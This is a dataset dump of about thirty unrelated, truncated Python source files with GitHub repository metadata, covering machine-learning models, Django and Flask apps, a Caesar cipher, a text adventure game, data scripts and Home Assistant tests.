class ArquitecturaI1(HyperModel):
def __init__(self,input_shape,n_steps_out):
self.input_shape = input_shape
self.n_steps_out = n_steps_out
def build(self, hp):
model = tf.keras.Sequential()
model... | [
"[email protected]"
] | |
c705c0b17acc935c371cb01c2c106b884fe5ba24 | fdbcef18ee57e350619cba7a0aa430f2bc832dcb | /scalingqa/retriever/hit_processing.py | 8611e4252ec2a8e158ff56bb0bcca96c1b8be205 | [
"MIT"
] | permissive | Ankur3107/scalingQA | 5091f14bf14f53fbe198287e34d8c0376e40cdc8 | f648e34a9e4d7d4dbc2549a3c8767b6a25e3c447 | refs/heads/main | 2023-04-17T20:03:40.661471 | 2021-04-22T05:28:30 | 2021-04-22T05:28:30 | 360,213,015 | 0 | 0 | MIT | 2021-04-22T05:28:31 | 2021-04-21T15:08:34 | Python | UTF-8 | Python | false | false | 2,149 | py | import re
from ..common.drqa_tokenizers.simple_tokenizer import SimpleTokenizer
from ..common.utility.metrics import normalize
dpr_tokenizer = None
def process_hit_token_dpr(e, db, match_type="string"):
global dpr_tokenizer
if dpr_tokenizer is None:
dpr_tokenizer = SimpleTokenizer()
def regex_m... | [
"[email protected]"
] | |
140b356fa408e4eb413cb2c100895ff01e14c112 | 264cbdc7c2b4091179ba5fbdbb15005f6ac58b9f | /Algos/C51/examples/python/c51_ddqn.py | bb6455d9b4ae5b306ac48462cd633e024bd33c62 | [] | no_license | geeko66/PA2018-2019-KA | e25b49dd71ad4b5b2f3a00624147a9b24151c3d8 | 186d127608c8ea754a6e64836b0347d32cf37da6 | refs/heads/master | 2020-04-15T21:46:42.503444 | 2019-01-16T11:12:12 | 2019-01-16T11:12:12 | 165,046,443 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 15,185 | py | #!/usr/bin/env python
from __future__ import print_function
import skimage as skimage
from skimage import transform, color, exposure
from skimage.viewer import ImageViewer
import random
from random import choice
import numpy as np
from collections import deque
import time
import math
import pickle
import json
from ke... | [
"[email protected]"
] | |
38ed67962462a2b1c17e8f0180e3df363f2c1773 | fb3630fa338b304cd951b94375faf6c55a94488e | /msu_map/raw/images/convertPNG.py | bc9ca24e740c4e7995f1d2b56842e474db3cf325 | [] | no_license | Outtascope/MSUPaths_iPhone | 9001fccceccfed791a3d41846eb47424d847890e | 062f20860e949bea72872d912da046774ce6e0a8 | refs/heads/master | 2020-12-07T15:32:38.461826 | 2015-06-18T02:27:02 | 2015-06-18T02:27:02 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 224 | py | from PIL import Image
from glob import glob
for imgFile in glob("./*.png"):
try:
img = Image.open(imgFile)
img.save(imgFile,"PNG")
except IOError, msg:
print "Fail at: ", imgFile, " :", msg
| [
"[email protected]"
] | |
4cb3844e79b7b04d524f902a1436ea166712750d | 7bc1d2a995ce6488c7dd20909a6f9443d6d8ced8 | /admin.py | f9970ac554b7883eb5ab7ee1f153581bbdd2be7d | [] | no_license | strategy2231/django_learn | dd4f7d1bd77157b893a8ea2d8355e980898687f5 | 9b9544c24d42892acef53943eb707bc5b8ca48c3 | refs/heads/master | 2021-01-12T16:01:43.756219 | 2016-10-25T18:45:48 | 2016-10-25T18:45:48 | 71,918,737 | 0 | 0 | null | 2016-10-25T18:40:31 | 2016-10-25T16:50:45 | Python | UTF-8 | Python | false | false | 612 | py |
# Register your models here.
from django.contrib import admin
from restaurants.models import Restaurant, Food,Comment
class RestaurantAdmin(admin.ModelAdmin):
list_display = ('name', 'phone_number', 'address','date')
search_fields = ('name',)
class FoodAdmin(admin.ModelAdmin):
list_display = ('name',... | [
"[email protected]"
] | |
045e3b79ee98a308915d4259f3453d80f710f82a | 2fdc236b11ad16052ceab7f566657fca41f1f45e | /ex43.py | 6a274bbbb087040ef06becf94b2fcb75158b37d6 | [] | no_license | HeshamBahgat/Learn-Python-The-Hard-Way | 6bc155e18efaf24cdf90a591149b8e97b3926337 | 67a6d1320eb9964f6db0cf435b1f319cb14c7a3b | refs/heads/master | 2020-06-03T01:05:11.992987 | 2019-06-11T13:27:34 | 2019-06-11T13:27:34 | 191,370,913 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 8,711 | py | from sys import exit
from random import randint
from textwrap import dedent
## adventure game
class Scene(object):
def enter(self):
print("This scene is not yet configured")
print("Subclass it and implement enter().")
exit(1)
class Enigne(object):
def __init__(self, scene_map):
... | [
"[email protected]"
] | |
353d23ee1d8f260fdba75771dad1edcc93f3b402 | f09f92fb6d46d75ce92d3e1183adc68b8087a56e | /sandbox.py | b4af84ff90854b543f72b9ef82e6a7468f1b214b | [] | no_license | nikitafainberg/darkWorldAuth | d7f79ebb04ec0279c3b4b69a25e746d445a4ed19 | 24547eda0622fe15a1b3cfed674f2660623c2a0d | refs/heads/master | 2023-08-29T11:04:35.954817 | 2021-11-13T23:26:04 | 2021-11-13T23:26:04 | 427,531,386 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 170 | py | from DB_manger import dbConnector
if __name__ == '__main__':
db_connector = dbConnector()
users = db_connector.get_user_by_username("nick")[0]
print(users)
| [
"[email protected]"
] | |
da39ff189fd2c0d2ba922949117085f9ce98e2fa | 85be450530138c8b66c513c4283bcb1d58caeeb0 | /apps/funcionarios/migrations/0005_funcionario_imagem.py | bc149c39e59bf25051a7e604642ca132a0e9a4c1 | [] | no_license | fgomesc/gestao_teste | 6be81a263fddb1b1e5d6a2d768387fc024e9bdc3 | b2890ffa99361dd30b002706c94d1e5299651315 | refs/heads/master | 2021-09-25T06:21:51.602878 | 2021-09-14T18:27:13 | 2021-09-14T18:27:13 | 236,030,673 | 0 | 0 | null | 2021-06-10T22:31:09 | 2020-01-24T15:42:59 | JavaScript | UTF-8 | Python | false | false | 446 | py | # Generated by Django 2.1.1 on 2018-11-17 12:21
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('funcionarios', '0004_auto_20181029_2313'),
]
operations = [
migrations.AddField(
model_name='funcionario',
name='ima... | [
"[email protected]"
] | |
641513afa36e0a025b2386b2d085f86762f8831c | 414e0f17a1da288c5e7e7753eb51e44457480637 | /General/migrations/0002_auto_20190313_1534.py | 713c68f71c7cff04bfc69ae12424b2d9f7e74d5e | [] | no_license | livemonkey1300/ajax | ccb0103535c348cb2cf7190615bc1b696da6d469 | 429d1e6ebb32ef36cf320a9211b1430396e33576 | refs/heads/master | 2020-04-27T14:23:58.523709 | 2019-03-18T20:55:09 | 2019-03-18T20:55:09 | 174,408,863 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 963 | py | # Generated by Django 2.1.5 on 2019-03-13 15:34
from django.conf import settings
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('General', '0001_initial'),
]
operations = [
migrations.AlterField(
... | [
"[email protected]"
] | |
eea33ae817b3fd5ed3cb9850e88cdc7f95ce66d3 | 2676b16638e5495fd85aa0ab1bb34a4869373015 | /exceptions.py | 0494599441bd3a56abae9eab930a1c58bf29a917 | [] | no_license | ryrysmiley/compsci230 | c9053f24fa3bec8ce84f92682b6a882c8e67c9fd | 0d4ece995d5c1b654dd230ada6a480198f4b926a | refs/heads/main | 2023-01-24T14:07:13.209862 | 2020-12-08T01:48:48 | 2020-12-08T01:48:48 | 315,526,986 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 779 | py | """
try:
f=open("test.txt")
print(f.read())
except FileNotFoundError:
print("File doesn't exist")
try:
x=int(input())
print(2/x)
except ValueError:
print("that is not an int")
except ZeroDivisionError:
print("can't divide by zero")
"""
user_input = ''
while user_input != "q":
try:
... | [
"[email protected]"
] | |
5438bf2918f6cb484ba4bfdaf5ceabf6e3a64e9b | e39f5ed824db24444580fabb42a06d8029d403ed | /machine_learning/class_03/lesson_01/mnist-search.py | 9be1204f3b77d45af7a43855106b3dad5f89bc30 | [] | no_license | tepkool01/uw_school | 4a027f10b1b7cd28ad2a64a224bdd0fbaa9c040c | 69490b53c0a1a1c7f4b318a988fe1b1e328e3163 | refs/heads/master | 2023-07-15T04:57:52.688896 | 2021-08-23T21:41:27 | 2021-08-23T21:41:27 | 303,208,912 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,492 | py | # pip install keras-tuner
import math
import numpy as np
from io import TextIOWrapper
from PIL import Image
from zipfile import ZipFile
trnX = np.zeros((60000, 28, 28), dtype = "float32")
trnY = np.zeros((60000), dtype = "int32")
tstX = np.zeros((10000, 28, 28), dtype = "float32")
with ZipFile("ml530-2021-sp-mnist.zi... | [
"[email protected]"
] | |
d4703ba2bdb76a23ad5f3eef4f0eb86443e92219 | 93dd16432fcb4b42670f208edf81b2eb29f40d41 | /pycaesarcipher.py | 980eed0fa1ec667cce8da2834d93cf03891ce125 | [
"MIT"
] | permissive | shyams1993/pycaesarcipher | d067f4fda7acdb5f70687d5262a6fbc39d5e3790 | a396f165cc9a103950d060c94e25f7f344e7b257 | refs/heads/master | 2022-06-27T17:28:48.417994 | 2020-05-07T10:05:25 | 2020-05-07T10:05:25 | 261,873,682 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,180 | py | class pycaesarcipher():
'''
DOCSTRING: This class contains the encipher function & decipher function to one of the most simplest substitution Ciphers - "Caesar's Cipher"
'''
def __init__(self):
return None
def caesar_encipher(self,word,shiftkey):
'''
DOCSTRING... | [
"[email protected]"
] | |
206aeb7d68e86e28ec22ef45eb51ed4f80dead0f | 3886c78ffed288379a54865ec6e494a514207d0d | /caravantone/view/artist.py | a2cc6e6f37388a036a88955d095390ea26d1f3ea | [] | no_license | Attsun1031/caravantone | 34a2a8b612af7bafc49b063f50953abe469d393b | bc5a9e481649e67f2c631aaf55384a4fce051ba7 | refs/heads/master | 2021-06-11T14:31:43.966237 | 2014-07-20T03:41:08 | 2014-07-20T03:41:08 | 18,760,513 | 0 | 0 | null | 2021-06-01T21:53:28 | 2014-04-14T12:55:19 | JavaScript | UTF-8 | Python | false | false | 1,161 | py | # -*- coding: utf-8 -*-
from flask import request, jsonify
from caravantone import app
from caravantone.view.util import require_login, jsonify_list
from caravantone.model.artist import Artist
from caravantone.es.artist_suggestion import suggest_artist
from caravantone.repository import artist_repository, user_reposit... | [
"[email protected]"
] | |
3aea4843be237c4dcdce35ea871082ef159c6872 | b9029f7e08bb93c435290e9e01dba3507714bafc | /tasks.py | a64b8ddab455bd356781035556f67836cb43532a | [
"BSD-3-Clause"
] | permissive | njwardhan/colour | 3a4bf7994e25f02e15aa16bc03d35d7f6cc61a50 | 60679360c3990bc549b5f947bfeb621383e18b5e | refs/heads/master | 2022-09-29T06:17:36.380542 | 2020-01-25T05:10:15 | 2020-01-25T05:10:15 | 253,715,920 | 0 | 0 | null | 2020-04-07T07:14:32 | 2020-04-07T07:14:31 | null | UTF-8 | Python | false | false | 13,629 | py | # -*- coding: utf-8 -*-
"""
Invoke - Tasks
==============
"""
from __future__ import unicode_literals
import sys
try:
import biblib.bib
except ImportError:
pass
import fnmatch
import os
import re
import toml
import uuid
from invoke import task
import colour
from colour.utilities import message_box
__author_... | [
"[email protected]"
] | |
47cc53e4d489c658835626b31746754eba3a8c9b | 361270624816c78772e39efd5dc3269da19fd156 | /test.py | a14298a618e48218120391c19beb2ce733c295d8 | [] | no_license | Dairaku/Scraping | 4f14c741b8a16ca33393fcf146b34e7896b38ab4 | ab39f3542c1fc61148249faac31b5bcc59f76639 | refs/heads/master | 2020-05-27T14:29:10.364824 | 2019-05-26T08:51:38 | 2019-05-26T08:51:38 | 188,660,186 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,646 | py | #!/usr/bin/env python
# coding: utf-8
import csv
import requests
from urllib.request import urlopen
from bs4 import BeautifulSoup
import ssl
import re
import pandas as pd
import time
base_url = "https://tabelog.com/tokyo/A1304/A130401/rstLst/"
begin_page = 1
end_page = 10
#最終ページの計算用
r_base = requests.get(base_url)
s... | [
"[email protected]"
] | |
44f71b6be270f1b19df492c0580443c20b5fea64 | d5c659075525981f5683ebdabcebb6df6429efa4 | /lib/complement.py | c7cb5767abdc9130c5c173830f3a863683e1a778 | [
"MIT"
] | permissive | baifengbai/QA-CivilAviationKG | eb2a955eb1b4eed00a8bee85fb37f5c7ea2d34d7 | 616cb8bf7b381a53be9726fd4a463c55667677d0 | refs/heads/master | 2022-12-09T15:53:20.268370 | 2020-09-10T15:39:34 | 2020-09-10T15:39:34 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,516 | py | # 问题的填充
import re
import Levenshtein
from lib.regexp import RangeYear, RefsYear
from lib.mapping import map_digits, map_refs
def year_complement(question: str) -> str:
""" 年份自动填充,转换各种表示为数字表示。
例:11年 -> 2011年
两千一十一年 -> 2011年
11-15年 -> 2011年,2012年,2013年,2014年,2015年
13到15年 -> 2013年,2014年,20... | [
"[email protected]"
] | |
44128fe6dc5acae5eb8b887074251d66121ca915 | fd1f0606ea14cfb69429430d4d8cb5a5a0616ee3 | /python_code/yolo/convert_to_jpg.py | e9816e8e62a6dc828bee1debc266feedf66b6dbb | [] | no_license | mukulbhave/viden | 4fbae0bbfefae2b7e35623de12123c4371037420 | 848b16fa32cd0f180ab80a98254edd2147ea3948 | refs/heads/master | 2023-06-01T16:29:40.131295 | 2021-06-16T10:37:17 | 2021-06-16T10:37:17 | 257,380,167 | 0 | 0 | null | 2021-06-01T16:53:22 | 2020-04-20T19:13:57 | Python | UTF-8 | Python | false | false | 1,146 | py | from PIL import Image
import os, sys,re , fnmatch
import numpy as np
import glob
input_path = "C:\\Users\\sudhir\\Downloads\\EngImg\\"
out="C:\\dataset\\viden_numberplates\\out\\"
def rename():
for index,item in enumerate(dirs):
if item.endswith(".xml"):
x=item.find('-')
... | [
"[email protected]"
] | |
717a9d888661f024fbf061eb7916b15f9e48b045 | 77e9396349c6a41dfeec9e270aec37df5871b652 | /code/option2/sut_test.py | c8dfb9fca16c6263aa78dc96f2810518ee0f8cdb | [] | no_license | sryabkov/python_modules_vscode | b62682c465c2dca81749ec48bafb616cf99e59b4 | d1d88a0af55ba540d5e6ff230655a57723b9cb8b | refs/heads/master | 2020-04-24T06:30:56.350656 | 2019-02-21T00:08:26 | 2019-02-21T00:08:26 | 171,767,375 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 247 | py | """
Test for sut.py
"""
from .sut import some_method_that_returns_string
def test_some_method_that_returns_string():
assert some_method_that_returns_string() == "noop"
if __name__ == "__main__":
test_some_method_that_returns_string()
| [
"[email protected]"
] | |
c91563eee6c60960746a34671256bdc380a91e08 | af3ec207381de315f4cb6dddba727d16d42d6c57 | /dialogue-engine/test/programytest/storage/stores/nosql/mongo/store/test_sets.py | b4a1ce00829727f91194650b0127c7d2bb059299 | [
"MIT",
"LicenseRef-scancode-unknown-license-reference"
] | permissive | mcf-yuichi/cotoba-agent-oss | 02a5554fe81ce21517f33229101013b6487f5404 | ce60833915f484c4cbdc54b4b8222d64be4b6c0d | refs/heads/master | 2023-01-12T20:07:34.364188 | 2020-11-11T00:55:16 | 2020-11-11T00:55:16 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,711 | py | """
Copyright (c) 2020 COTOBA DESIGN, Inc.
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated
documentation files (the "Software"), to deal in the Software without restriction, including without limitation
the rights to use, copy, modify, merge, publish, distri... | [
"[email protected]"
] | |
ce17d3e628bbb39aa428a1fe21da1b9f4d08ce1d | 9f3365f168dc94f8009f6586a58dc536b2af6921 | /controller/oss.py | 9a8cb7996f6e745ce6d81f7397212f9de6da0a71 | [] | no_license | qmaxlambda/backend | 80d9ad8999431c4357e5a20e110c250f8809552e | 6f2a8ad9daff03499699d146015dc9f15a7f5448 | refs/heads/master | 2023-01-23T05:54:41.503490 | 2020-12-11T03:57:28 | 2020-12-11T03:57:28 | 311,026,480 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,421 | py | # -*- coding: utf-8 -*-
# @Time : 2020/11/8 下午 04:59
# @Author : Mason
# @Email : [email protected]
# @File : oss.py
# @Software: PyCharm
import json
import os
import oss2
from flask import request, Blueprint
from Config import config
from util.jsons import js_ret
oss_bp = Blueprint('oss',__name__)
access_key... | [
"[email protected]"
] | |
c89805f2b8005e92a1594b95d1049d78bddbe0f2 | 4254edac798c604dc59b5d586b52357b75d9e302 | /day7/alvdevops0505/alvdevops0505/urls.py | 242561d038498dd1c909378c56d28c8934155de5 | [] | no_license | casey-smile/P27M01 | 5531c3e5874e9308deebcd90eb6aaf1b91eb42eb | 8fd3255c7785f63d5bc1c81d9703674ffc5fdf39 | refs/heads/master | 2022-09-23T14:28:31.801166 | 2020-05-29T16:23:06 | 2020-05-29T16:23:06 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 890 | py | """alvdevops0505 URL Configuration
The `urlpatterns` list routes URLs to views. For more information please see:
https://docs.djangoproject.com/en/2.2/topics/http/urls/
Examples:
Function views
1. Add an import: from my_app import views
2. Add a URL to urlpatterns: path('', views.home, name='home')
Class... | [
"[email protected]"
] | |
b7e02524df176839009c27ff8e612e57db07bef9 | 13f03eb35aeb306e0a33d67437993f849d5b0e8d | /CS110 Intro to Python/Project 2/project2 no extra credit.py | da45097dc3486773e6bfa601825fd80804437b4e | [] | no_license | jalague/Projects | cee07f49e41a33e9529317b6beace2bb7b56e1c6 | 5e1a15cdf10ff8f878474011a04868b15334aad5 | refs/heads/master | 2021-01-12T08:28:13.707957 | 2019-12-03T01:23:32 | 2019-12-03T01:23:32 | 76,586,724 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,488 | py | import flask
import PIL
from flask import request
from flask import redirect
from imageHelperFunctions import *
import os, os.path
app=flask.Flask(__name__)
def editImage(option,filename,newname):
im=openImageFile(filename)
w,h=size(im)
for i in range(0,h):
for j in ra... | [
"[email protected]"
] | |
8479fc36a34cd92829460ba09dac9233003f21e2 | 15f321878face2af9317363c5f6de1e5ddd9b749 | /solutions_python/Problem_145/588.py | bc85913e20b14805e33519ef4c6568305d07637f | [] | no_license | dr-dos-ok/Code_Jam_Webscraper | c06fd59870842664cd79c41eb460a09553e1c80a | 26a35bf114a3aa30fc4c677ef069d95f41665cc0 | refs/heads/master | 2020-04-06T08:17:40.938460 | 2018-10-14T10:12:47 | 2018-10-14T10:12:47 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,649 | py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
from __future__ import print_function
import math
def read(f):
n = int(f.readline().strip())
for i in xrange(n):
p, q = map(int, f.readline().strip().split('/'))
yield p, q
def main(f):
for i, (p, q) in enumerate(read(f)):
if 2 ** i... | [
"[email protected]"
] | |
097abd80763e1b42f4d5a68c9500b5438fdc4a1e | 748cbfda91c8088c8feac93f0dac884a0d334e1c | /jaspar.py | 836b84189a87fefd25d408829b74dd56eea8d398 | [] | no_license | jlwetzel/zfcode | e2aca0b8661079734953cb3d1a9970e2939e1584 | 52e6fba51dbe74d5da9871cbaf28dbc24b7ccad7 | refs/heads/master | 2020-06-30T02:54:17.754259 | 2013-07-30T23:57:27 | 2013-07-30T23:57:27 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,003 | py | # Code for reteiving and maniupulating the JASPAR sql_table files
# and the JASPAR PWM file.
import os
JASPAR_BUILD = '2009-Oct12-NonRedundant'
prefix = '../data/JASPAR/' + JASPAR_BUILD
protTab = prefix + '/sql_tables/MATRIX_PROTEIN.txt'
annotTab = prefix + '/sql_tables/MATRIX_ANNOTATION.txt'
speciesTab = prefix + ... | [
"[email protected]"
] | |
e6215762208ab16d0230d27ae2bd2259e021ac48 | 830837f1ca1a4d090f9979f1d448017cbf88065c | /tutorial/quickstart/views.py | eede40c2e82a5d2cee4c62f62a4c009e8e4fd883 | [] | no_license | arshadansari27/django-angular | 3bd32a937cc6f0977d00fb7fe93203011aec786e | 558472df5071dc93973173ae83aefbac0eb4fdc4 | refs/heads/master | 2016-08-12T03:34:54.079002 | 2015-11-26T08:20:36 | 2015-11-26T08:20:36 | 46,878,628 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 610 | py | from django.contrib.auth.models import User, Group
from rest_framework import viewsets
from tutorial.quickstart.serializers import UserSerializer, GroupSerializer
from django.shortcuts import render
class UserViewSet(viewsets.ModelViewSet):
"""
API endpoint that allows users to be viewed or edited.
"""
... | [
"[email protected]"
] | |
26cf7f5c49e7790eba3ae1742d71f32697b120fb | fff114e3cb9568fd04e3ee3ccf4b8edac9aece81 | /djangoblog/blogapp/migrations/0004_gory.py | 077977c924d51289d1913c5381b2fee756863028 | [] | no_license | 15SaswatiSingh/Python-in-Django-Framwork-travel-and-tourism- | 1572a589e2ee93ff574ea8d5d68db7b77e34d02e | b4ae21ce2942c4a4db4524f6f164bb5b6f789c86 | refs/heads/master | 2023-03-16T01:57:15.486262 | 2019-03-01T11:23:39 | 2019-03-01T11:23:39 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 512 | py | # Generated by Django 2.1.3 on 2019-02-09 03:57
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('blogapp', '0003_auto_20190209_0013'),
]
operations = [
migrations.CreateModel(
name='gory',
fields=[
... | [
"[email protected]"
] | |
6fa040ec27c8ff99da03fcd41b34c7abf7a93b67 | 391cbb86dc881e9de9bb3b9b0cc15b9199389acb | /python/modularizing/child.py | 94d2c4545ebfa134e03e63fbe19001bacf0d6d6e | [] | no_license | jgreen7773/python_stack | 3291498959de2d289f4b534e5e8643df03375f97 | 2948e467895c18c61f5c91b5c2b80455223a5d63 | refs/heads/master | 2020-07-15T18:12:06.227271 | 2019-09-26T22:37:01 | 2019-09-26T22:37:01 | 205,622,035 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 303 | py | import parent
print(locals())
# If we import code from the sub-page to the main page, we don't want
# the code from there to be executed on our main page, so we use...
# something like this:
if __name__ == "__main__":
product = Product([args])
print(product)
print(product.add_tax(0.18)) | [
"[email protected]"
] | |
a31cb5f185c80ea397b6d84e1e2a1d488a88fd68 | a383c318c17b382bc3acad86b106584123ec5cd5 | /tifa/models/product_attr.py | fb9b11ea5d0303b510746f3e2d342138c1d3f67e | [
"MIT"
] | permissive | Jormungendr/tifa | 86f20aa8ca28548a5861c6dcd54ab12840aa0b0c | f703fd27f54000e7d51f06d2456d09cc79e0ab72 | refs/heads/master | 2023-07-13T08:21:26.464652 | 2021-08-24T14:19:52 | 2021-08-24T14:19:52 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,506 | py | import sqlalchemy as sa
from sqlalchemy.orm import relationship
from tifa.globals import Model
from tifa.models.attr import Attribute, AttributeValue
from tifa.models.product import ProductType, Product, ProductVariant
class AttributeProduct(Model):
__tablename__ = "attribute_product"
__table_args__ = (sa.Un... | [
"[email protected]"
] | |
a4de72f9bc8c298600db4419ce1778b70f3c07b5 | 89dedd7f3c7acc81d12e2bcb2e716f9af9e5fa04 | /third_party/WebKit/Source/devtools/scripts/concatenate_application_code.py | e6984e04864e14767f6fd64ff23f1ddfb871c822 | [
"BSD-3-Clause",
"LGPL-2.0-or-later",
"GPL-1.0-or-later",
"MIT",
"Apache-2.0",
"LicenseRef-scancode-warranty-disclaimer",
"LGPL-2.1-only",
"GPL-2.0-only",
"LGPL-2.0-only",
"BSD-2-Clause",
"LicenseRef-scancode-other-copyleft"
] | permissive | bino7/chromium | 8d26f84a1b6e38a73d1b97fea6057c634eff68cb | 4666a6bb6fdcb1114afecf77bdaa239d9787b752 | refs/heads/master | 2022-12-22T14:31:53.913081 | 2016-09-06T10:05:11 | 2016-09-06T10:05:11 | 67,410,510 | 1 | 3 | BSD-3-Clause | 2022-12-17T03:08:52 | 2016-09-05T10:11:59 | null | UTF-8 | Python | false | false | 9,961 | py | #!/usr/bin/env python
#
# Copyright 2014 The Chromium Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
"""
Release:
- Concatenates autostart modules, application modules' module.json descriptors,
and the application loader into a ... | [
"[email protected]"
] | |
3b93255b073c2a9385971e2b9e090d3cb24606ca | 22e4f8c3fd76f099ad05b8ea0e53366878358d44 | /oil_trading/data/prepare_bloomberg_data.py | 333c76de2173719dbaf37701e0db085f5be7f4dc | [
"MIT"
] | permissive | queiyanglim/trading_algorithm | 272762b97bb3ab15e8174b2cea529f8df525e705 | 959de9ecb503b9de97528e06e57d40382dec9a65 | refs/heads/master | 2021-02-17T23:44:54.909650 | 2021-01-21T15:37:14 | 2021-01-21T15:37:14 | 245,137,152 | 6 | 2 | null | null | null | null | UTF-8 | Python | false | false | 676 | py | import pandas as pd
def get_bbg_data():
""" Daily prices since 1990"""
path = "https://github.com/queiyanglim/trading_algorithm/raw/master/oil_trading/data/oil_prices.csv"
df_pull = pd.read_csv(path, header=[0], index_col = 0)
df_pull = df_pull[["CO1 Comdty", "CL1 Comdty"]]
df_pull.index.name = "... | [
"[email protected]"
] | |
82792a3be9979e79865b11f08d068150204766e1 | 2c74bb301f1ed83b79254944183ac5a18a639fdf | /tests/components/select/test_device_condition.py | 7c1dc443e5626cdb246bbc9a3f633cbd756d466c | [
"Apache-2.0"
] | permissive | Adminiuga/home-assistant | 5bec93007ddac1a268cc359bf7e48530c5f73b38 | dcf68d768e4f628d038f1fdd6e40bad713fbc222 | refs/heads/dev | 2023-02-22T22:03:31.013931 | 2022-11-09T00:27:20 | 2022-11-09T00:27:20 | 123,929,062 | 5 | 4 | Apache-2.0 | 2023-02-22T06:14:31 | 2018-03-05T14:11:09 | Python | UTF-8 | Python | false | false | 8,288 | py | """The tests for Select device conditions."""
from __future__ import annotations
import pytest
import voluptuous_serialize
from homeassistant.components import automation
from homeassistant.components.device_automation import DeviceAutomationType
from homeassistant.components.select import DOMAIN
from homeassistant.c... | [
"[email protected]"
] |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.